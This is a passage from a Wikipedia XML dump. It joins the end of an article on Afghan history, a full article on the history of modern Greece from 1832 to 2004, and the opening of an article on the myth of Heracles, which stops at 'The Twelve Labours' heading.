[[Image:Evstafiev-afghan-apc-passes-russian.jpg|thumb|right|250 px|Soviet troops withdrawing from Afghanistan in 1988. Photo by Mikhail Evstafiev]]
[[Osama bin Laden]] was a prominent mujahideen organizer and financier; his [[Maktab al-Khadamat]] (MAK) ''(Office of Order)'' funnelled money, arms, and Muslim fighters from around the world into Afghanistan, with the assistance and support of the American, [[Pakistan]]i, and Saudi governments. In 1988, bin Laden broke away from the MAK with some of its more militant members to form [[Al-Qaida]], in order to expand the anti-Soviet resistance effort into a worldwide Islamic fundamentalist movement.

The Soviet Union withdrew its troops in February 1989, but continued to aid the government, led by [[Mohammed Najibullah]]. Massive amounts of aid from the CIA and Saudi Arabia to the mujahadin also continued. After the [[collapse of the Soviet Union]], the Najibullah government was overthrown on [[April 18]], [[1992]] when [[Abdul Rashid Dostum]] mutinied, and allied himself with [[Ahmed Shah Massoud]], to take control of [[Kabul]] and declare the Islamic State of Afghanistan.

==History of Afghanistan (1992 to present)==
''Main article: [[History of Afghanistan since 1992]]''

When the victorious [[mujahidin]] entered [[Kabul]] to assume control over the city and the central government, internecine fighting began between the various militias, which had coexisted only uneasily during the Soviet occupation. With the demise of their common enemy, the militias' ethnic, clan, religious, and personality differences surfaced, and the civil war continued. 

An interim [[Islamic Jihad Council]] was put in place, first led by [[Sibghatullah Mojadeddi]] for two months, then by [[Burhanuddin Rabbani]]. Fighting among rival factions intensified.

In reaction to the anarchy and [[warlord]]ism prevalent in the country, and the lack of Pashtun representation in the Kabul government, a movement of religious scholars, many of them former mujahideen, arose.  The [[Taliban]] took control of 90% of the country by [[1998]], limiting the opposition mostly to a small, largely [[Tajiks|Tajik]] corner in the northeast and the [[Panjshir valley]]. The opposition formed the [[Afghan Northern Alliance]], which continued to receive [[diplomatic recognition]] in the [[United Nations]] as the government of [[Afghanistan]].

In response to the [[September 11, 2001 attacks]], the [[United States]] and its coalition allies launched a successful [[U.S. invasion of Afghanistan|invasion of Afghanistan]] to oust the Taliban government. Sponsored by the UN, Afghan factions met in [[Bonn]] and chose a 30 member interim authority led by [[Hamid Karzai]]. After governing for 6 months, former King Zahir Shah convened a [[Loya Jirga]], which elected Karzai president, and gave him authority to govern for two more years. Then, on 9 October 2004, Karzai was elected president in Afghanistan's first ever direct presidential election.

==See also==
*[[Timeline of Afghan history]]
*[[History of present-day nations and states]]

==External links==
* [http://news.bbc.co.uk/1/hi/world/south_asia/country_profiles/1162668.stm BBC: Country profile: Afghanistan]
*[http://www.nytimes.com/2001/09/18/international/asia/18AFGH.html HISTORY: For Ages, Afghanistan Is Not Easily Conquered, New York Times, 9/18/2001]

==Further reading==
*Anthony Arnold, ''Afghanistan's Two-Party Communism''
*Henry S. Bradsher, ''Afghanistan and the Soviet Union''
*David B. Edwards, ''Before Taliban: Genealogies of the Afghan Jihad''
*Louis Dupree, ''Afghanistan''
*Arnold Charles Fletcher, ''Afghanistan: Highway of Conquest''
*Vartan Gregorian, ''The Emergence of Modern Afghanistan: Politics of Reform and Modernization'', 1840-1946
*Kawun Kakar Hasan, ''Government and Society in Afghanistan: The Reign of Amin 'Abdal-Rahman Khan''
*W. Kerr Fraser-Tytler, ''Afghanistan: A Study of Political Developments in Central and Southern Asia''
*Raiz Muhammad Khan, ''Untying the Afghan Knot: Negotiating the Soviet Withdrawal''
*Richard S. Newell, ''The Politics of Afghanistan''
*Leon B. Poullada, ''Reform and Rebellion in Afghanistan'', 1919-1929
*Olivier Roy, ''Islam and Resistance in Afghanistan''
*Barnett Rubin, ''The Fragmentation of Afghanistan: State Formation and Collapse in the International System''
*[http://www.spongobongo.com/her9886.htm  Donald Newton Wilber], ''Afghanistan''
*Bernard, P. 1994. “The Greek Kingdoms of Central Asia.” In: ''History of civilizations of Central Asia, Volume II. The development of sedentary and nomadic civilizations: 700 B.C. to A.D. 250.'' Harmatta, János, ed., 1994. Paris: UNESCO Publishing., pp. 99-129.
*Hill, John E. 2003. &quot;Annotated Translation of the Chapter on the Western Regions according to the ''Hou Hanshu''.&quot; 2nd Draft Edition.[http://depts.washington.edu/uwch/silkroad/texts/hhshu/hou_han_shu.html]
*Hill, John E. 2004. ''The Peoples of the West from the Weilue'' &amp;#39759;&amp;#30053; ''by Yu Huan'' &amp;#39770;&amp;#35938;'': A Third Century Chinese Account Composed between 239 and 265 CE.'' Draft annotated English translation. [http://depts.washington.edu/uwch/silkroad/texts/weilue/weilue.html]
*Sarianidi, V. I. 1971. “The Lapis Lazuli Route in the Ancient East.” V. I. Sarianidi. ''Archaeology Magazine'', January 1971, pp. 12-15. 
*Sarianidi, Victor. 1985. ''The Golden Hoard of Bactria: From the Tillya-tepe Excavations in Northern Afghanistan''. Harry N. Abrams, New York.
*Sarianidi, Victor. 1989. “Early Kushan Jeweller's Art.” ''International Association for the Study of the Cultures of Central Asia Information Bulletin'', Issue 15. Moscow, Nauka Publishers, pp. 124-134.
*Sarianidi, V. 1990-1992 “Tilya Tepe: The Burial of a Noble Warrior.” ''PERSICA'' XIV, 1990-1992, pp. 103-130.
*Vogelsang, Willem. 2002. The Afghans.
*Watson, Burton. Trans. 1961. '''''Records of the Grand Historian of China:''' Translated from the '''Shih chi''' of Ssu-ma Ch'ien''. Chap. 123. The Account of Ta-yüan. Columbia University Press.
*Wood, John. 1872. ''A Journey to the Source of the River Oxus''. New Edition, edited by his son, with an essay on the &quot;Geography of the Valley of the Oxus&quot; by Henry Yule. John Murray, London.

==References==
* [http://www.state.gov/r/pa/ei/bgn/5380.htm#history U.S. Department of State Background Note] on Afghanistan
* [http://lcweb2.loc.gov/frd/cs/aftoc.html Library of Congress Country Study] of Afghanistan
* [http://www.rulers.org/rula1.html#afghanistan Rulers.org — Afghanistan] list of rulers for Afghanistan

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    <title>History of modern Greece</title>
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{{History of Greece}}
[[Image:ac.othon.jpg|frame|right|80px|King Othon in traditional Greek dress]]

==Treaty of London==
The '''history of modern Greece''' began with the recognition of [[Greece|Greek]] independence from the [[Ottoman Empire]] in [[1832]] after the [[Greek War of Independence]]. The first leader of independent Greece, [[John Capodistria]], had been assassinated in [[1831]]. At the insistence of the [[United Kingdom]], [[France]], and [[Russia]], the [[1832]] [[London Conference of 1832|Treaty of London]] made Greece a monarchy. [[Otto of Greece|Otto of Wittelsbach, Prince of Bavaria]] was chosen as its first [[List of Kings of Greece|King]] in [[1832]] and he arrived at the provisional capital, Nafplion, in [[1833]] aboard a British warship.

==Reign of King Othon (1833&amp;ndash;1863)==

When the 17-year-old Bavarian Prince [[Otto of Greece|Otto]] was installed by the [[London Conference of 1832]] as King of Greece, he adopted the Greek name Othon.  His troubled reign lasted for 30 years before he and his wife [[Queen Amalia of Greece| Queen Amalia]] left the way they came, aboard a British warship. During the early years of his reign a group of [[Bavaria|Bavarian]] Regents ruled in his name, and made themselves very unpopular by trying to impose German ideas of orderly government on the turbulent Greeks. Nevertheless they laid the foundations of a Greek administration, army, justice system and education system. Othon was sincere in his desire to give Greece good government, but he suffered from two great handicaps. He refused to renounce his [[Roman Catholic]] faith in favour of [[Greek Orthodox Church|Greek Orthodoxy]], and his marriage to [[Queen Amalia of Greece|Queen Amalia]] remained childless. This meant he could neither be crowned as King of Greece under the Orthodox rite nor establish a dynasty.

The Bavarian Regents ruled until [[1837]], when at the insistence of [[United Kingdom| Britain]] and [[France]] (who still saw Greece as a sort of [[protectorate]]), they were recalled and Othon thereafter appointed Greek ministers, although Bavarian officials still ran most of the administration and the army. But Greece still had no [[legislature]] and no [[constitution]]. Greek discontent grew until a revolt broke out in [[Athens]] in September [[1843]].  Othon agreed to grant a constitution, and convened a National Assembly which met in November. The new constitution created a [[Bicameralism|bicameral parliament]], consisting of an Assembly (''Vouli'') and a Senate (''Gerousia'').  Power then passed into the hands of a group of politicians, most of whom who had been commanders in the war of independence against the Ottomans. 

Greek politics in the [[19th century]] was dominated by the national question. The majority of Greeks continued to live under Ottoman rule, and Greeks dreamed of liberating them all and reconstituting a state embracing all the Greek lands, with [[Constantinople]] as its [[capital]]. This was called the Great Idea (''[[Megali Idea]]''), and it was sustained by almost continuous rebellions against Ottoman rule in Greek-speaking territories, particularly [[Crete]], [[Thessaly]] and [[Macedonia (region)|Macedonia]].  But Greece was too poor and too weak to wage war on the Ottoman Empire, and Britain, to whom Greece was heavily in debt, opposed any attempt to enlarge the national territory. During the [[Crimean War]] the British occupied [[Piraeus]] to prevent Greece declaring war on the Ottomans as a Russian ally.

A new generation of Greek politicians was growing increasingly intolerant of King Othon's continuing interference in government.  In [[1862]] the King dismissed his Prime Minister, the former admiral [[Konstantinos Kanaris|Constantine Canaris]], the most prominent politician of the period. This provoked a military rebellion, and Othon accepted the inevitable and left the country. The Greeks then asked Britain to send [[Victoria of the United Kingdom|Queen Victoria]]'s son [[Duke Alfred of Saxe-Coburg and Gotha|Prince Alfred]] as their new king, but this was vetoed by the other powers. Instead a young Danish Prince became [[George I of Greece|King George I]].  George was a very popular choice as a constitutional monarch, and he agreed that his sons would be raised in the Greek Orthodox faith. As a reward to the Greeks for adopting a pro-British King, Britain ceded the [[Ionian Islands]] to Greece.

==Reign of King George I (1864&amp;ndash;1913)==

At the urging of Britain and King George, Greece adopted a much more democratic constitution in 1864. The powers of the King were reduced and the Senate was abolished. The franchise was extended to all adult males.  But Greek politics remained heavily dynastic, as it has been ever since. Family names such as Zaimis, Rallis and Trikoupis occurred repeatedly as Prime Minister. Two broad parties existed: liberals, led first by [[Charilaos Trikoupis]] and later by [[Eleftherios Venizelos]], and conservatives, led initially by [[Theodoros Deligiannis]] and later by [[Thrasivoulos Zaimis]]. Trikoupis dominated Greek politics in the later 19th century. His governments favoured protective tariffs and progressive social legislation. He competed with Deligiannis in promoting Greek nationalism and the ''Megali Idea''.

Greece remained a very poor country through the 19th century. Its only important export commodities were currants and tobacco. Some Greeks grew rich as merchants and shipowners, and [[Piraeus]] became a major port, but little of this wealth found its way to the Greek peasantry. Greece remained hopelessly in debt to London finance houses. By the 1890s Greece was virtually bankrupt, and poverty in the rural areas and the islands was eased only by large-scale emigration to the [[United States]]. There was little education in the rural areas. Nevertheless there was progress in building communications and infrastructure, and fine public buildings were erected in Athens.

Another political issue in 19th century Greece was uniquely Greek: the language question. The Greek people spoke a simple form of Greek called [[Modern Greek| Demotic]]. Many of the educated elite saw this as a peasant dialect and were determined to restore the glories of [[Ancient Greek]]. Government documents and newspapers were published in ''[[Katharevousa]]'' (purified) Greek, a form which few ordinary Greeks could read. Liberals favoured recognising Demotic as the national language, but conservatives, the University and the Orthodox Church resisted all such efforts. When the [[New Testament]] was translated into Demotic in [[1901]], there were riots in Athens and the government fell. The Liberals promoted Demotic and the Conservatives promoted ''Katharevousa''. This issue plagued Greek politics until the [[1970s]].

All Greeks were united, however, in their determination to liberate the Greek-speaking provinces of the Ottoman Empire.  When war broke out between Russia and the Ottomans in [[1877]], Greece rallied to Russia's side, but was too poor, and too afraid of British intervention, to make much contribution. Nevertheless the [[Treaty of Berlin]] of [[1881]] gave Greece [[Thessaly]] and parts of [[Epirus]], while frustrating Greek hopes of rescuing [[Crete]] from oppressive Ottoman rule. Greeks in Crete continued to stage regular revolts, and in [[1897]] a Greek nationalist government under Deligiannis declared war on the Ottomans. But the Greek army was defeated by the Ottomans and no territory was gained (see [[Greco-Turkish War (1897)]]).

Nationalist sentiment among Greeks in the Ottoman Empire continued to grow, and by the [[1890s]] there were constant disturbances in [[Macedonia (region)|Macedonia]]. Here the Greeks were in conflict not only with the Ottomans but with the Slav Macedonians and the Bulgarians, who also claimed the region, with its ethnically mixed population. The Cretan Greeks, led by [[Eleftherios Venizelos]], rebelled again in [[1908]], provoking another crisis. When the Greek government led by [[Dimitrios Rallis]] refused to go to the rescue of the Cretans, the army and navy rebelled and forced his resignation in May [[1909]]. Venizelos, a crusading Liberal, was brought from Crete to lead the revolt and in [[1910]] he became Prime Minister. Venizelos was to dominate Greek politics for the next 20 years.

==Wars and crises (1913&amp;ndash;1920)==

[[Image:Benizelos.jpg|thumb|190px|[[Eleftherios Venizelos]]]]

Venizelos formed a secret alliance with [[Bulgaria]], [[Montenegro]] and [[Serbia]], and in October [[1912]] they all declared war on the Ottomans (see [[Balkan Wars]]). The Ottomans were rapidly defeated, and the four allies rushed to grab as much territory as they could.  The Greeks occupied [[Thessaloniki]] and found themselves in a race with the Bulgarians to capture Constantinople.  But the great powers intervened to save the Ottomans, and peace was agreed to in December. The four allies soon fell out over their new territories, and in June [[1913]] Greece and Serbia went to war with Bulgaria. There was a final peace treaty in August. Greece gained southern [[Epirus]], coastal [[Macedonia (region)|Macedonia]], [[Crete]] and the Aegean islands &amp;mdash; except the [[Dodecanese]], which had been grabbed by [[Italy]]. These gains nearly doubled Greece's area and population.

Nevertheless Greek nationalist sentiment was not satisfied. Greeks resented the fact that northern Epirus had been given to [[Albania]], parts of Macedonia to Serbia and Bulgaria, [[Thrace]] to Bulgaria, the Dodecanese to Italy and two islands ([[Gokceada and Bozcaada (Imbros and Tenedos)|Imbros and Tenedos]]) to the Ottomans. Above all, the Greeks wanted Constantinople, and they now believed that the Ottomans were so weak that the attainment of the ''Megali Idea'' was within reach.  So when [[World War I]] broke out in August [[1914]], Greek opinion was keen to resume the war with the Ottomans and liberate the remaining Greek territories.

In March [[1913]], Ioannis Schinas, an anarchist, assassinated George I in Thessaloniki, and his son came to the throne as [[Constantine I of Greece| Constantine I]], the first Greek king born in Greece and the first to be Greek Orthodox. Constantine, however, was married to the sister of [[Wilhelm II of Germany |Kaiser Wilhelm]], and was considered pro-German. While Venizelos wanted to enter the war on the side of Britain and France, the King favoured neutrality, claiming that the country was tired after two Balkan wars. The British offered Venizelos [[Smyrna]] and [[Cyprus]] if Greece entered the war: later the offer was increased to include at least the possibility of Constantinople, although Britain's ally Russia also coveted the city. After a resignation on the part of the government and the subsequent reelection of Venizelos, he invited the Allies to land troops in Thessaloniki. The king then dismissed him, bringing the country to the edge of civil war. 

In October [[1915]] Bulgaria entered the war as a German ally, and the Allies landed in Thessaloniki and occupied Macedonia, using Venizelos's invitation as their pretext. Constantine was now ruling outside the constitution through a puppet Prime Minister, and Venizelos returned to Crete. During the August of 1916 some Greek army and gendarmerie officers (see [[Cretan Gendarmerie]]) forced a coup d' etat in Thessaloniki and called Venizelos  to establish a revolutionary pro-Allied government in Thessaloniki under French protection. In December [[1916]] the French occupied [[Piraeus]], bombarded Athens and forced  the Greek fleet to surrender. The royalist troops fired on them. This led to an Allied ultimatum. Constantine left the country, without actually abdicating, and his son [[Alexander of Greece (king)|Alexander]] became &quot;acting King.&quot; Venizelos entered Athens in triumph in June [[1917]]. Greek troops joined the war on the Allied side and helped drive the Bulgarians out of Macedonia. These events increased the division of Greek people into Royalists and [[Venizelism|Venizelists]].

The Ottoman Empire collapsed with the end of the war in November [[1918]], and Greece now expected the Allies to deliver on their promises. The [[Treaty of Sevres]] of August [[1920]] gave Greece all of Thrace and a large area of western [[Anatolia]] around [[Smyrna]]. The future of Constantinople was left to be determined. But the Treaty was never ratified, because a [[Turkish National Movement|nationalist movement]] had arisen in [[Turkey]], led by [[Kemal Atatürk|Mustapha Kemal]] (later Kemal Ataturk), who set up a rival government in [[Ankara]]. The Kemalists repudiated the Treaty and when the Greeks tried to occupy their new territories, Ataturk led a successful war of resistance (see [[Greco-Turkish War (1919-1922)]]). The Greeks were routed and Smyrna fell to the Turks in August [[1922]]. Subsequently more than a million Greeks were expelled from Turkish territory (in exchange 500,000 Turks and a large number of Albanians and Bulgarians were expelled from Greece), and Greece was forced to yield eastern [[Thrace]], [[Imbros]] and [[Tenedos]] to Turkey. This catastrophe marked the end of the ''[[Megali Idea]]''.

==Republic and Monarchy (1920&amp;ndash;1940)==

King Alexander died suddenly in October [[1920]], having been bitten by a monkey. A few days later Venizelos was defeated at elections and Dimitrios Rallis, a well-known Royalist, became Prime Minister. After a disputed plebiscite, Constantine returned to the throne. The traumas of the war and postwar years left Greece bankrupt, demoralised and bitterly divided between Venizelist republicans and conservative monarchists, and struggling to absorb the flood of refugees from Turkey.  Nevertheless these events, by killing off the ''Megali Idea'' and producing a more ethnically homogenous country, helped produce a more stable and realistic Greek politics. 

Greek politics between the two World Wars was a struggle for power between monarchists and republicans. King Constantine was forced to abdicate in September [[1922]] and was succeeded by his son [[George II of Greece|George II]]. But Greeks blamed the monarchy for the disaster of [[1922]] and at the [[1923]] elections Venizelos's Liberal Party won a sweeping victory. Greece was proclaimed a [[republic]] on [[March 25]], [[1924]]. The republic, however, was weak and unstable, and in [[1925]] General [[Theodoros Pangalos (general)|Theodoros Pangalos]] seized power in a military coup. He was overthrown by a second coup in August [[1926]]. In [[1928]] Venizelos returned from exile and led the Liberals back to power. He concluded a series of treaties with Greece's neighbours, including Turkey, settling outstanding issues.

Greece, as a poor country dependent on agricultural exports, was hard hit by the [[Great Depression]] of the [[1930s]]. Matters were made worse by the closing off of emigration to the [[United States]], the traditional safety-valve of rural poverty. High unemployment and consequent social unrest resulted, and the [[Communist Party of Greece]] made rapid advances.  Venizelos was forced to default on Greece's national debt in [[1932]], and he fell from office for the last time in [[1933]]. He was succeeded by a monarchist government led by [[Panagiotis Tsaldaris]]. The republican constitution was revoked, and George II returned to the throne in October [[1935]]. In a plebiscite in November (which was boycotted by the opposition), 97 percent voted in favour of the restoration. Venizelos, in exile, urged an end to the conflict over the monarchy in view of the threat to Greece from the rise of [[fascism|Fascist]] [[Italy]]. His successors as Liberal leader, [[Themistoklis Soufoulis]] and [[George Papandreou, senior|George Papandreou]], accepted this view.

In [[1936]] King George appointed General [[Ioannis Metaxas]] as Prime Minister. Metaxas, believing that an authoritarian government was necessary to prevent social conflict and prepare Greece for what seemed an inevitable war with Italy, soon established a dictatorship, with the King's support. The Communists were suppressed and the Liberal leaders went into exile. Metaxas spent the next three years building up the Greek military. This proved wise when Italy annexed [[Albania]] in April [[1939]]. When [[World War II]] broke out in September 1939, Greece remained neutral, while welcoming Britain's guarantee of Greece's territorial integrity. In October [[1940]], Italy fabricated an incident on the Greek&amp;ndash;Albanian border, and presented Greece with a humiliating ultimatum. Metaxas sent a famous one-word telegram: ''Ohi!'' (&quot;No!&quot;).

==World War and Civil war (1940&amp;ndash;1949)==

Italian troops crossed the border on [[October 28]], [[1940]], but determined Greek defenders drove the invaders back into [[Albania]] (see [[Greco-Italian_War]]). Metaxas died suddenly in January [[1941]]: he had been transformed from an unpopular dictator into a national leader by his defiance of Mussolini, and his death was a great loss. [[Adolf Hitler|Hitler]] was reluctantly forced to divert German troops to rescue Mussolini from defeat, and attacked Greece through [[Yugoslavia]] and [[Bulgaria]] on [[April 6]], [[1941]]. The Greeks sought British assistance, which soon arrived, but they stubbornly insisted on defending Macedonia and Thrace against the German invaders, when their only strategic hope was to withdraw to a defensive line on the [[Aliákmon]] river south of Thessaloniki. By the end of May, the Germans had overrun most of the country, although Greek resistance was never entirely suppressed. The King and the government escaped to Crete, where they stayed until the end of the [[Battle of Crete]]. They then transferred to [[Egypt]], where a government in exile was established.

Greece suffered terrible privations during [[World War II]], since the Germans appropriated most of the country's agricultural production and prevented its fishing fleets from operating. By [[1944]] the Greeks were starving. Several resistance movements sprang up in the mountains, and soon the Germans controlled only the main towns and the connecting roads. The largest resistance group, the National Popular Liberation Army ([[Ethnikos Laikos Apeleftherotikos Stratos|ELAS)]], was controlled by the [[Communist Party of Greece|Communists]], and a civil war soon broke out between it and non-Communist groups such as the National Republican Greek League (EDES) in those areas liberated from the Germans. The royalist government in [[Cairo]] was only intermittently in touch with the resistance movement, and failed to appreciate how unpopular the monarchy had become in Greece.

German forces withdrew in October [[1944]], and the government in exile returned to [[Athens]]. After the German withdrawal, ELAS controlled most of the country, and its leaders were determined to take control of the country, although [[Joseph Stalin| Stalin]] had agreed that Greece would be in the British sphere of influence after the war and he gave the Greek Communists little encouragement. A demonstration by resistance forces in Athens on [[December 3]], [[1944]] ended in violence and was followed by an intense, house-to-house battle with British and monarchist forces. After three weeks, the Communists were defeated and an unstable coalition government was formed. Continuing tensions led to the outbreak of civil war in [[1946]]. First Britain and later the [[United States]] gave extensive military and economic aid to the Greek government (See: [[Greek Civil War]]).

Communist successes in [[1947]]&amp;ndash;[[1948|48]] enabled them to move freely over much of mainland Greece, but with extensive reorganization and American material support, the Greek National Army was slowly able to regain control over most of the countryside. Yugoslavia closed its borders to the insurgent forces in [[1949]], after Marshal [[Tito]] of Yugoslavia broke with the [[Soviet Union]].

In August [[1949]], the National Army under Marshal [[Alexander Papagos]] launched a final offensive that forced the remaining insurgents to surrender or flee across the northern border into the territory of Greece's communist neighbors. The civil war resulted in 100,000 killed and caused catastrophic economic disruption. In addition, at least 25,000 Greeks and an unspecified number of Macedonian-Slavs were either voluntarily or forcibly evacuated to [[Eastern bloc]] countries, while 700,000 became displaced persons inside the country. Many more emigrated to [[Australia]] and other countries.

The postwar settlement saw Greece's territorial expansion, which had begun in [[1832]], finally come to an end.  The [[1947]] [[Paris Peace Treaties, 1947|Treaty of Paris]] required [[Italy]] to hand over the [[Dodecanese]] islands to Greece. These were the last Greek-speaking areas to be united with the Greek state, leaving only [[Northern Epirus]], parts of [[Northern Macedonia]] in [[Yugoslavia]] and [[Bulgaria]] the islands of [[Imvros]] and [[Tenedos]] and [[Cyprus]], a British possession, under foreign rule. Greece's ethnic homogeneity was enhanced by the postwar expulsion of 25,000 Albanians from Epirus. The only significant remaining minorities were about 100,000 Turks in eastern Thrace and a substantial Slav-Macedonian minority in the north.

==Postwar Greece (1950&amp;ndash;present)==

After the civil war, Greece sought to join the Western democracies and became a member of [[NATO]] in [[1952]]. From [[1952]] to late [[1963]], Greece was governed by conservative parties: the [[Greek Rally]] of Marshal [[Alexander Papagos]], and its successor, the [[National Radical Union]] (ERE) of [[Constantine Karamanlis]]. In [[1963]], the [[Center Union Party]] of [[George Papandreou, senior|George Papandreou]] was elected, and governed until July [[1965]]. It was followed by a succession of unstable coalition governments.

On [[April 21]], [[1967]], just before scheduled elections, a group of right-wing colonels led by Colonel [[George Papadopoulos]] seized power in a [[coup d'état]] establishing the [[Greek military junta of 1967-1974|Regime of the Colonels]]. Civil liberties were suppressed, special military courts were established, and political parties were dissolved.  Several thousand suspected communists and political opponents were imprisoned or exiled to remote Greek islands.  &quot;The junta&quot; was given at least tacit support by the United States as a [[Cold War]] ally, due to its proximity to the [[Eastern European]] [[Soviet bloc]], and the fact that the previous [[Harry Truman|Truman administration]] had given the country millions of dollars in economic aid to discourage [[Communism]]. US support for Papadopoulos is claimed to be the cause of rising [[anti-Americanism]] in Greece during and following the junta's harsh rule.

On [[November 25]], [[1973]], following the bloody suppresion of [[Athens Polytechnic uprising]] on the 17th of November, General [[Dimitrios Ioannides]] replaced Papadopoulos and tried to continue the dictatorship despite the popular unrest the uprising had triggered. Ioannides' attempt in July [[1974]] to overthrow Archbishop [[Makarios]], the [[President of Cyprus|President]] of [[Cyprus]], brought Greece to the brink of war with Turkey, which invaded Cyprus and occupied part of the island. Senior Greek military officers then withdrew their support from the junta, which toppled. Leading citizens persuaded Karamanlis to return from exile in [[France]] to establish a government of national unity until elections could be held. Karamanlis' newly organized party, [[New Democracy]] (ND), won elections held in November [[1974]], and he became prime minister. The cause of the downfall of the [[dictatorship]] formally was the invasion by [[Turkey]] of [[Cyprus]], which was seen as a military and political failure of the junta; however, since then, historians and other people have regarded the uprising at the Polytechnic University (Greek: &amp;#919; &amp;#949;&amp;#958;&amp;#941;&amp;#947;&amp;#949;&amp;#961;&amp;#963;&amp;#951; &amp;#964;&amp;#959;&amp;#965; &amp;#928;&amp;#959;&amp;#955;&amp;#965;&amp;#964;&amp;#949;&amp;#967;&amp;#957;&amp;#949;&amp;#943;&amp;#959;&amp;#965;) as the event that most discredited the military government. 

Following the [[1974]] [[referendum]] which resulted in the abolition of the monarchy, a new constitution was approved by parliament on [[June 19]], [[1975]]. Parliament elected [[Constantine Tsatsos]] as President of the republic. In the parliamentary elections of [[1977]], New Democracy again won a majority of seats. In May [[1980]], Prime Minister Karamanlis was elected to succeed Tsatsos as [[List of Presidents of Greece|President]]. [[George Rallis]] succeeded Karamanlis as Prime Minister.

On [[January 1]], [[1981]], Greece became the 10th member of the [[European Community]] (now the [[European Union]]). In parliamentary elections held on [[October 18]], [[1981]], Greece elected its first socialist government when the [[Panhellenic Socialist Movement]] (PASOK), led by [[Andreas Papandreou]], won 172 of 300 seats. On [[March 29]], [[1985]], after Prime Minister Papandreou declined to support President Karamanlis for a second term, Supreme Court Justice [[Christos Sartzetakis]] was elected president by the Greek parliament.

Greece had two rounds of parliamentary elections in [[1989]]; both produced weak coalition governments with limited mandates. Party leaders withdrew their support in February 1990, and elections were held on [[April 8]]. New Democracy, led by [[Constantine Mitsotakis]], won 150 seats in that election and subsequently gained two others. After Mitsotakis dismissed his first Foreign Minister, [[Antonis Samaras]], in [[1992]], Samaras formed his own political party, [[Political Spring]]. A split between Mitsotakis and Samaras led to the collapse of the ND government and new elections in September [[1993]] saw Papandreou return to power.

On [[January 17]], [[1996]], following a protracted illness, Papandreou resigned and was replaced as Prime Minister by former Minister of Industry [[Costas Simitis]]. Simitis won elections in [[1996]] and [[2000]]. In [[2004]] Simitis retired and [[George Andreas Papandreou]] succeeded him as PASOK leader.  At the March [[2004]] elections, however, PASOK was defeated by New Democracy, led by [[Costas Caramanlis]], the nephew of the former President.

==See also==
* [[Timeline of Greek history]]
* [[Kings of Greece]]
* [[Otto of Greece]]
* [[Greek Fascism]]
* [[Military history of Greece during World War II]]
* [[Greek Resistance]]
* [[Greek military junta of 1967-1974]]


[[Category:History of Greece|Modern]]


[[la:Historia Graeca]]
[[nl:Geschiedenis van het moderne Griekenland]]
[[pl:Historia Grecji]]
[[sv:Greklands historia]]</text>
    </revision>
  </page>
  <page>
    <title>Heracles</title>
    <id>13815</id>
    <revision>
      <id>42067393</id>
      <timestamp>2006-03-03T16:14:51Z</timestamp>
      <contributor>
        <username>Redmosquito720</username>
        <id>777561</id>
      </contributor>
      <comment>/* Birth and childhood */</comment>
      <text xml:space="preserve">{{otheruses}}
[[Image:Heracles.jpg|right|thumb|200px|Statue of Heracles]]
In [[Greek mythology]], '''Heracles''', or '''Heraklês''' (&quot;glory of [[Hera]]&quot;, &amp;#x1F29;&amp;rho;&amp;alpha;&amp;kappa;&amp;lambda;&amp;eta;&amp;sigmaf;) was a [[Greek hero cult|divine hero]], the [[demigod]] son of [[Zeus]] and [[Alcmene]], and stepson of Alcmene's rightful husband and great-grandson of [[Perseus (mythology)|Perseus]].  In [[Roman Mythology|Roman mythology]] he was called '''[[Hercules]]'''.  He was, arguably, the greatest of the mythical Greek heroes, the paragon of masculinity par excellence, his extraordinary strength being one of his attributes.  Many stories are told of his life, the most famous being [[The Twelve Labours|The Twelve Labours of Herakles]].  His [[Etruscan mythology|Etruscan]] equivalent was Hercle, a son of [[Tinia]] and [[Uni]].  He was also identified with [[Heryshaf]] ([[Egyptian mythology]]).

Curiously, priests wore female clothing in temples devoted to Heracles, possibly making reference to the myth of [[Omphale]].

== Birth and childhood ==
{{Greek myth}}
A major factor in the well-known tragedies surrounding Heracles stem from the hatred that the goddess Hera, wife of Zeus, had for him.  Heracles was a son of Zeus and Alcmene, and so his very existence proved at least one of Zeus's many illicit affairs.  Hera often conspired against Zeus's mortal offspring, as revenge for her husband's infidelities.

Heracles was a product of the affair Zeus had with the mortal woman Alcmene.  Zeus coupled with her after disguising himself as her husband, Amphitryon, home early from war.  Amphitryon did return later the same night, and Alcmene became pregnant with twins. 

On the night the twins were to be born, Hera, knowing of her husband Zeus's adultery, persuaded Zeus to swear an oath that the child born that night to a member of the House of Perseus would be High King.  

Once the oath was sworn, Hera hurried to Alcmene's dwelling and slowed the birth by sitting crosslegged with her clothing tied in knots. Meanwhile, she caused another boy [[Eurystheus]] to be born prematurely, making him High King in place of Heracles. She would have permanently delayed Heracles' birth had she not been foiled by [[Galanthis]], her servant, who told her that she had already delivered the baby.  Upon hearing this Hera jumped in surprise, therefore untying the knots and finally allowing Alcmene to give birth.  One of the boys, [[Iphicles]], was a mortal, while the other was the demi-god Heracles.
&lt;br&gt;Another version says that Hera made [[Eileithya]] sit in said position and that Galanthis tricked the goddess.  
&lt;br&gt;Hera turned Galanthis into a [[weasel]] and forced her to give birth by laying eggs through her mouth. 

Heracles was named in an unsuccessful attempt to mollify Hera. A few months after he was born, Hera sent two serpents to kill him as he lay in his cot.  Heracles throttled a snake in each hand and was found by his nurse playing with their limp bodies as if they were child's toys. 

One account of the origin of the [[Milky Way]] is that Zeus tricked Hera into nursing the infant Heracles; discovering who he was, she pulled him from her breast, and a spurt of her milk formed the smear across the sky that can be seen to this day (a similar story is told about Hera and [[Hermes]]; however, in that case, the trick worked and Hera became fonder of Hermes).

According to Greek tradition, probably based on Libanius, &quot;Oration&quot; XII, 99, or on the Epitome of the Library of Apollodorus, Heracles was conceived in the womb when Zeus extended the night into three during his parents' nuptial. That miraculous event may have been a [[solar eclipse]] near daybreak, which took place on [[September 7]], [[1250s BC|1251 BC]]. It lasted from 6:51 to 9:41 in the morning at Sparta, with 75.9% magnitude. 

Legend has it that Heracles was born in [[Thebes, Greece]], where Alcmene and Amphitryon lived. The eclipse could well be visible there also. Alternatively it is more likely to have been the [[solar eclipse|total solar eclipse]] which occurred at around about midday on [[February 10]], [[1280s BC|1286 BC]] thereby making one night into three. Totality occurred at 10:52 UTC according to [http://sunearth.gsfc.nasa.gov/eclipse/SEcat/SE-1299--1200.html NASA] projections. This would place Heracles' birth in early [[November]] of the same year. 

The ancient Greeks celebrated Heracles' birth on the 4th day of each Greek month.

== Adulthood ==
He continued to perform feats such as slaying a lion that was preying on the local flocks and defending Thebes against a neighbouring army. For the latter he was awarded the King of Thebes' ([[Creon]]) daughter, Megara. 

=== The Twelve Labours ===
